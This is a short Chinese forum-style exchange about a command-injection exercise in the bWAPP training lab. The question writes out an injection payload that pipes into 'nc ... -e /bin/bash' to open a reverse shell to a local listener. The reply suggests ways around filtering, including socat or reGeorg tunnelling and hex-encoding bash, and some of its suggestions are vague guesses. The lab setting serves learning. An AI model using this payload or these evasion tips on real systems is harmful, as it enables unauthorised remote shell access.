在bwapp里使用127.0.0.1|nc 192.168.1.105 1234 -e /bin/bash语句
cmd已经打开这个端口的监听
但是收不到

如果只用127.0.0.1|nc 192.168.1.105 1234
cmd是可以收到的

有没有知道是什么原因的
bwapp中nc命令可能被限制了,不能用于反向连接。
你可以试试以下方法:
- 使用bwapp提供的nc替代版本,看看是否可以反向连接
- 使用其他端口转发工具,比如socat或reGeorg来进行端口转发,绕过nc限制
- 查看bwapp的文档,看是否有说明nc的使用限制,以及提供了哪些替代方案
- 尝试绕过系统 restriction,例如先将 bash 编码为十六进制等
- 使用其它协议进行反向连接,例如可以考虑 ssh 转发
总的来说,CTF和渗透测试平台都会对某些功能做限制,需要我们找到这些限制的边界并想办法绕过,这也是训练的一个重要方面。